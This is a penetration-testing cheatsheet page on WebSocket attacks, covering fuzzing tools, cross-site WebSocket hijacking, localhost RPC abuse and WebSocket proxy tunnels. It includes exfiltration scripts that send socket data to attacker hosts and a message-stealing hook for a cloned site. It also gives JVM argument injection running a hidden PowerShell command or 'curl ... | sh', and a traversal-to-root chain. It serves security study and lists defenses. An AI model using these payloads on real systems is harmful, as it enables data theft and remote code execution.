daemon-sec-cheatsheet

websocket-attacks.md (31490B)

---

 ---
 title: "WebSocket Attacks"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/websocket-attacks.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/websocket-attacks.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # WebSocket Attacks
 
 ## What are WebSockets
 
 WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.
 
 ### Establishment of WebSocket Connections
 
 A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:<sup>[[20]](#references)</sup>
 
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
 
 The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.
 
 During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
 
 Browser sends a handshake request:
 
 ```javascript
 GET /chat HTTP/1.1
 Host: normal-website.com
 Sec-WebSocket-Version: 13
 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
 Connection: keep-alive, Upgrade
 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
 Upgrade: websocket
 ```
 
 Server's handshake response:
 
 ```javascript
 HTTP/1.1 101 Switching Protocols
 Connection: Upgrade
 Upgrade: websocket
 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
 
 The connection remains open for message exchange in both directions once established.
 
 **Key Points of the WebSocket Handshake:**
 
 - The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
 - The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
 - A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
 - The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
 
 These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
 
 ### Linux console
 
 You can use `websocat` to establish a raw connection with a websocket.
 
 ```bash
 websocat --insecure wss://10.10.10.10:8000 -v
 ```
 
 Or to create a websocat server:
 
 ```bash
 websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 
 ### MitM websocket connections
 
 If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)to perform a MitM attack between the client and the server.\
 Once the client is trying to connect to you can then use:
 
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
 
 ### Websockets enumeration
 
 You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
 
 ### Websocket Debug tools
 
 - **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.<sup>[[1]](#references)</sup>
   - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server.
 - [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication.
 - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**
 
 ## WebSocket as a transport for messaging/queue protocols (MQTT, STOMP, AMQP)
 
 A WebSocket is just a **bidirectional transport** — it doesn't say anything about the protocol spoken on top of it. Many real-time applications (chat widgets, live support, IoT dashboards, trading frontends, notification systems) **tunnel a message-broker / pub‑sub protocol over the WebSocket** instead of inventing their own framing. When you find a WebSocket, do not assume it is a bespoke JSON API: it may be a direct pipe into a **message queue / broker**, which means topic subscription, wildcard abuse and broken authorization become in scope.
 
 Common protocols carried over WebSockets:
 
 - **MQTT over WebSocket**: browser chat/IoT clients (e.g. `mqtt.js`, Paho) connect to a broker over `ws://`/`wss://`, frequently on paths like `/mqtt` or `/ws`. RabbitMQ's Web MQTT plugin commonly listens on `15675/ws`.<sup>[[15]](#references)</sup> Once you can speak MQTT, you can often **subscribe to wildcard topics (`#`, `+`)** and read other users' live messages, or publish into topics — a classic broken-authorization finding.<sup>[[14]](#references)</sup>
 - **STOMP over WebSocket**: very common with SockJS/Spring backends (e.g. `/stomp`, `/ws`). RabbitMQ Web-STOMP usually listens on `15674/ws`.<sup>[[16]](#references)</sup>
 - **AMQP over WebSocket** and **Socket.IO** (see the Socket.IO handling section above).
 
 ### How to identify the tunneled protocol
 
 - Look at the **`Sec-WebSocket-Protocol`** subprotocol negotiated in the handshake (e.g. `mqtt`, `mqttv3.1`, `v12.stomp`).
 - Inspect the connection **URL/path** (`/mqtt`, `/ws`, `/stomp`) and non-standard ports (`15675`, `15674`).
 - Inspect the **frames**: MQTT has a tiny binary header (CONNECT/SUBSCRIBE/PUBLISH), STOMP is text (`CONNECT\n`, `SUBSCRIBE\n`, `SEND\n`).
 - Do **frontend recon** for broker URLs and embedded credentials (often hardcoded fallback/default creds), as described in the MQTT page.
 
 If the endpoint turns out to be an MQTT broker, jump to the MQTT page (see the "MQTT over WebSocket in web applications" section there) to enumerate topics, abuse wildcard subscriptions and reach the broker with a `mqtt`/`websocket` PoC client:
 
 [1883 Pentesting Mqtt Mosquitto](/hacktricks/network-services-pentesting/1883-pentesting-mqtt-mosquitto)
 
 For AMQP brokers (RabbitMQ, etc.):
 
 [5671 5672 Pentesting Amqp](/hacktricks/network-services-pentesting/5671-5672-pentesting-amqp)
 
 ## Decrypting Websocket
 
 - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
 - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
 
 ## Websocket Lab
 
 In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.<sup>[[22]](#references)</sup>
 
 ## Websocket Fuzzing
 
 The Burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) can also fuzz WebSocket messages. The implementation is described [here](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).<sup>[[21]](#references)</sup>
 
 ### WebSocket Turbo Intruder (Burp extension)
 
 PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets.<sup>[[4]](#references)[[7]](#references)</sup> Install it from the BApp Store or from source.<sup>[[5]](#references)[[6]](#references)</sup> It includes two components:
 
 - Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
 - HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.
 
 Basic script pattern to fuzz a WS endpoint and filter relevant responses:
 
 ```python
 def queue_websockets(upgrade_request, message):
     connection = websocket_connection.create(upgrade_request)
     for i in range(10):
         connection.queue(message, str(i))
 
 def handle_outgoing_message(websocket_message):
     results_table.add(websocket_message)
 
 @MatchRegex(r'{\"user\":\"Hal Pline\"')
 def handle_incoming_message(websocket_message):
     results_table.add(websocket_message)
 ```
 
 Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses.
 
 ### Bridge WS behind HTTP (HTTP Middleware)
 
 Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners:<sup>[[4]](#references)</sup>
 
 ```python
 def create_connection(upgrade_request):
     connection = websocket_connection.create(upgrade_request)
     return connection
 
 @MatchRegex(r'{\"user\":\"You\"')
 def handle_incoming_message(websocket_message):
     results_table.add(websocket_message)
 ```
 
 Then send HTTP locally; the body is forwarded as the WS message:
 
 ```http
 POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
 Host: 127.0.0.1:9000
 Content-Length: 16
 
 {"message":"hi"}
 ```
 
 This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior).
 
 ### Socket.IO handling (handshake, heartbeats, events)
 
 Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`.<sup>[[4]](#references)</sup>
 
 Intruder example:
 
 ```python
 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
 
 def queue_websockets(upgrade_request, message):
     connection = websocket_connection.create(
         upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
     connection.queue('40')
     connection.queue('42["message","hello"]')
 
 @Pong("3")
 def handle_outgoing_message(websocket_message):
     results_table.add(websocket_message)
 
 @PingPong("2", "3")
 def handle_incoming_message(websocket_message):
     results_table.add(websocket_message)
 ```
 
 HTTP adapter variant:
 
 ```python
 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
 
 def create_connection(upgrade_request):
     connection = websocket_connection.create(
         upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
     connection.queue('40')
     connection.decIn()
     return connection
 
 @Pong("3")
 def handle_outgoing_message(websocket_message):
     results_table.add(websocket_message)
 
 @PingPong("2", "3")
 def handle_incoming_message(websocket_message):
     results_table.add(websocket_message)
 ```
 
 ### Detecting server‑side prototype pollution via Socket.IO
 
 Following PortSwigger’s safe detection technique, try polluting Express internals by sending a payload like:
 
 ```json
 {"__proto__":{"initialPacket":"Polluted"}}
 ```
 
 If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section.<sup>[[4]](#references)[[8]](#references)</sup> See:
 
 - Check [NodeJS – __proto__ & prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview) for sinks/gadgets and chaining ideas.
 
 ### WebSocket race conditions with Turbo Intruder
 
 The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.<sup>[[4]](#references)[[9]](#references)[[10]](#references)</sup>
 
 - Learn methodology and alternatives in [Race Condition](/hacktricks/pentesting-web/race-condition) (see “RC in WebSockets”).
 
 ### WebSocket DoS: malformed frame “Ping of Death”
 
 Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.<sup>[[4]](#references)[[11]](#references)</sup>
 
 ### CLI and debugging
 
 - Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`<sup>[[4]](#references)</sup>
 - Enable the WS Logger to capture and correlate messages using internal IDs.
 - Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
 - Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
 
 ### Operational safety
 
 High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.<sup>[[4]](#references)</sup>
 
 ## Cross-site WebSocket hijacking (CSWSH)
 
 **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](/hacktricks/pentesting-web/csrf-cross-site-request-forgery)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
 
 Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
 
 In order for this attack to work, these are the requirements:
 
 - The websocket **authentication must be cookie based**
 - The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
 - The WebSocket server must not check the connection's origin, or that check must be bypassable.
 
 Also:
 
 - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))<sup>[[2]](#references)</sup>
 
 ### Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
 
 In Gorilla WebSocket servers, setting `CheckOrigin` to always **return `true`** accepts handshakes from any `Origin`. When the WS endpoint also **lacks authentication**, any page reachable by the victim’s browser (Internet or intranet) can upgrade a socket and start reading/emitting messages cross-site.<sup>[[13]](#references)</sup>
 
 ```html
 <script>
 const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
 ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
 </script>
 ```
 
 Impact: real-time exfiltration of streamed data (e.g., captured emails/notifications) without user credentials when any `Origin` is accepted and the endpoint skips authentication.
 
 ### Simple Attack
 
 Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.
 
 Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:
 
 ```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
 websocket.onopen = start
 websocket.onmessage = handleReply
 function start(event) {
   websocket.send("READY"); // Send the message that requests confidential information
 }
 function handleReply(event) {
   //Exfiltrate the confidential information to attackers server
   fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 }
 </script>
 ```
 
 ### Cross Origin + Cookie with a different subdomain
 
 In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.<sup>[[3]](#references)</sup>
 
 ### Stealing data from user
 
 Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
 
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/wsHook.js"></script>
 
 // These functions execute before a message
 //is sent by the client or received from the server
 //These code must be between some <script> tags or inside a .js file
 wsHook.before = function (data, url) {
   var xhttp = new XMLHttpRequest()
   xhttp.open("GET", "client_msg?m=" + data, true)
   xhttp.send()
 }
 wsHook.after = function (messageEvent, url, wsObject) {
   var xhttp = new XMLHttpRequest()
   xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
   xhttp.send()
   return messageEvent
 }
 ```
 
 Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\
 Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:
 
 ```javascript
 sudo python3 -m http.server 80
 ```
 
 ### CSWSH Protections
 
 The CSWSH attack is based on the fact that an **user will connect to a malicious page** that will **open a websocket connection** to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.
 
 Nowadays, it's very easy to prevent this issue:
 
 - **WebSocket server origin validation**: The WebSocket server should validate the connection's `Origin` header so unexpected pages cannot connect.
 - **Authentication token**: Instead of relying on a cookie, the WebSocket connection can require an unpredictable per-user token, similar to an anti-CSRF token.
 - **SameSite cookie attribute**: Cookies marked `SameSite=Lax` or `Strict` are generally not sent from an attacker's cross-site page to the victim WebSocket endpoint, so cookie-based authentication fails. Browsers also apply **Lax by default** when `SameSite` is omitted. Chromium's “Lax-allowing-unsafe” compatibility behavior can include a cookie created no more than two minutes earlier, but only for qualifying top-level unsafe navigations; it does not normally make a cross-site WebSocket handshake eligible. Verify the target browser's current behavior.<sup>[[23]](#references)</sup>
 - **Firefox Total Cookie Protection**: Total Cookie Protection isolates cookies to the site where they were created. Each site has its own cookie-storage partition, preventing third parties from linking a user's browsing history. This can make **CSWSH unusable** because the attacker's site cannot cause the victim's partitioned cookie to be sent.
 - **Chrome third-party cookie blocking**: Blocking third-party cookies can also prevent an authenticated cookie from being sent to the WebSocket server, even with `SameSite=None`.
 
 ### Localhost WebSocket abuse & browser port discovery
 
 Desktop launchers frequently spin up helpers (e.g., CurseForge's `CurseAgent.exe`) that expose JSON-RPC WebSockets on `127.0.0.1:<random_port>`. The browser **does not enforce SOP on loopback sockets**, so any Web page can attempt the handshake. If the agent accepts arbitrary `Origin` values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript.<sup>[[12]](#references)</sup>
 
 #### Enumerating exposed methods
 
 Capture a legitimate session to learn the protocol contract. CurseForge, for instance, emits frames such as `{"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}` where `name` is the RPC method and `args` contains structured objects (GUIDs, resolution, flags, etc.). Once this shape is known you can invoke methods such as `createModpack`, `minecraftGetDefaultLocation`, or any other privileged task straight from an injected page.
 
 #### Browser-based port discovery
 
 Because the helper binds to a random high port, the exploit first brute-forces localhost over WebSockets. Chromium-based browsers tolerate ~16k failed upgrades before throttling, which is enough to walk the ephemeral range; Firefox tends to crash or freeze after a few hundred failures, so practical PoCs often target Chromium.
 
 <details>
 <summary>Minimal browser scanner</summary>
 
 ```javascript
 async function findLocalWs(start = 20000, end = 36000) {
   for (let port = start; port <= end; port++) {
     await new Promise((resolve) => {
       const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
       let settled = false;
       const finish = () => { if (!settled) { settled = true; resolve(); } };
       ws.onerror = ws.onclose = finish;
       ws.onopen = () => {
         console.log(`Found candidate on ${port}`);
         ws.close();
         finish();
       };
     });
   }
 }
 ```
 
 </details>
 
 Once a connection survives the handshake and returns protocol-specific data, reuse that socket for the RPC chain.
 
 #### Chaining JSON-RPC methods into RCE
 
 The CurseForge exploit chains two unauthenticated calls:
 
 1. `createModpack` → returns a new `MinecraftInstanceGuid` without user interaction.
 2. `minecraftTaskLaunchInstance` → launches that GUID while accepting arbitrary JVM flags through `AdditionalJavaArguments`.
 
 JNI/JVM diagnostic options then provide a turnkey RCE primitive. For example, cap the metaspace to force a crash and leverage the error hook for command execution:
 
 ```text
 -XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
 ```
 
 On Unix targets simply swap the payload with `/bin/sh -c 'curl https://attacker/p.sh | sh'`. This works even when you cannot touch the application code—controlling the JVM CLI is enough.
 
 This “create resource → privileged launch” pattern appears often in updaters and launchers. Any time method (1) yields a server-tracked identifier and method (2) executes code or spawns a process with that identifier, check whether user-controlled arguments can be injected.
 
 
 ### Internet-facing WebSocket proxies as localhost TCP tunnels
 
 Some appliances and web apps expose endpoints such as `/wsproxy?host=<dst>&port=<dst>` that **upgrade to WebSocket and then blindly relay arbitrary TCP bytes** to the user-chosen destination. Once the server returns **`101 Switching Protocols`**, treat the socket as an SSRF primitive with **full read/write interaction**, closer to a `gopher://` or `nc` tunnel than to a one-shot HTTP fetch.<sup>[[17]](#references)[[18]](#references)[[19]](#references)</sup>
 
 When testing these endpoints, do not stop at `127.0.0.1`. Try multiple loopback representations because filters often block only some of them:
 
 ```text
 localhost
 127.0.0.1
 0.0.0.0
 ::1
 ::ffff:127.0.0.1
 ```
 
 Also replay the legitimate client headers/parameters when needed (`User-Agent`, `serviceType=SSH`, `serviceType=TELNET`, etc.). In several real cases those values were only cosmetic gates and **did not restrict the tunneled protocol at all**.
 
 #### Pivoting from the tunnel into Erlang RCE
 
 A common next step is tunneling into **localhost-only Erlang distribution** services. If the Erlang cookie is **default, leaked, reused, or hardcoded**, the WebSocket tunnel is enough to complete the node handshake and reach RPC functions such as `os:cmd/1` or `rpc:call(Node, os, cmd, ["id"])`, yielding OS command execution as the Erlang service account without needing the appliance's normal application credentials.
 
 For the Erlang-side tradecraft, see:
 
 [4369 Pentesting Erlang Port Mapper Daemon Epmd](/hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd)
 
 #### Chaining tunneled footholds into root via maintenance path traversal
 
 Once you get a low-priv shell through the tunnel, look for **root-owned maintenance workflows** reachable locally only (rollback, hotfix removal, restore, import, upgrade hooks, etc.). A recurring bug class is:
 
 1. The service builds a path like `<trusted-base>/<user_input>`.
 2. `../` is not canonicalized away or the final path is not verified to stay below the trusted base.
 3. The privileged workflow later performs dangerous actions on the attacker-selected path such as `chmod +x`, `/bin/bash <path> --unattended`, or a root-owned restart hook.
 
 In that situation, use the initial foothold to stage `/tmp/payload.sh` or `/var/tmp/payload.sh`, then supply a traversal like `../../../../../tmp/payload.sh`. This turns an internet-facing WebSocket tunnel into a full **unauthenticated-to-root chain** whenever the same proxy also reaches the localhost maintenance service.
 
 #### Useful detection clues
 
 From a defensive perspective, two high-signal artefacts are:
 
 - access-log entries showing **`101 Switching Protocols`** for WebSocket proxy paths with loopback destinations (`localhost`, `0.0.0.0`, `::ffff:127.0.0.1`)
 - maintenance / rollback logs containing **`../` traversal sequences** or execution of scripts from writable paths such as `/tmp` or `/var/tmp`
 
 
 ## Race Conditions
 
 Race Conditions in WebSockets are also a thing, [check this information to learn more](/hacktricks/pentesting-web/race-condition#rc-in-websockets).
 
 ## Other vulnerabilities
 
 As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**
 
 ## **WebSocket Smuggling**
 
 This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:
 
 
 [H2C Smuggling](/hacktricks/pentesting-web/h2c-smuggling)
 
 ## References
 
 - [1] [Intercepting and modifying WebSocket messages – PortSwigger Web Security Academy](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
 - [2] [Cross-Site WebSocket Hijacking: Exploitation in 2025 – IncludeSecurity Blog](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
 - [3] [Gitpod Remote Code Execution Vulnerability via WebSockets – Snyk](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)
 - [4] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
 - [5] [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
 - [6] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
 - [7] [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
 - [8] [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
 - [9] [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
 - [10] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
 - [11] [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
 - [12] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
 - [13] [Two CVEs, Zero Ego: A Mailpit Story](https://rosecurify.com/two-cves-zero-ego-a-mailpit-story/)
 - [14] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741)
 - [15] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt)
 - [16] [RabbitMQ Web STOMP Plugin](https://www.rabbitmq.com/docs/web-stomp)
 - [17] [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/)
 - [18] [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008)
 - [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409)
 - [20] [Cross-Site WebSocket Hijacking (CSWSH)](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)
 - [21] [Fuzzing WebSockets with Backslash Powered Scanner](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)
 - [22] [security.humanativaspa.it - Extending Burp Suite For Fun And Profit The Montoya Way Part 3](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3)
 - [23] [MDN - `Set-Cookie`: default `SameSite=Lax` and the two-minute compatibility window](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value)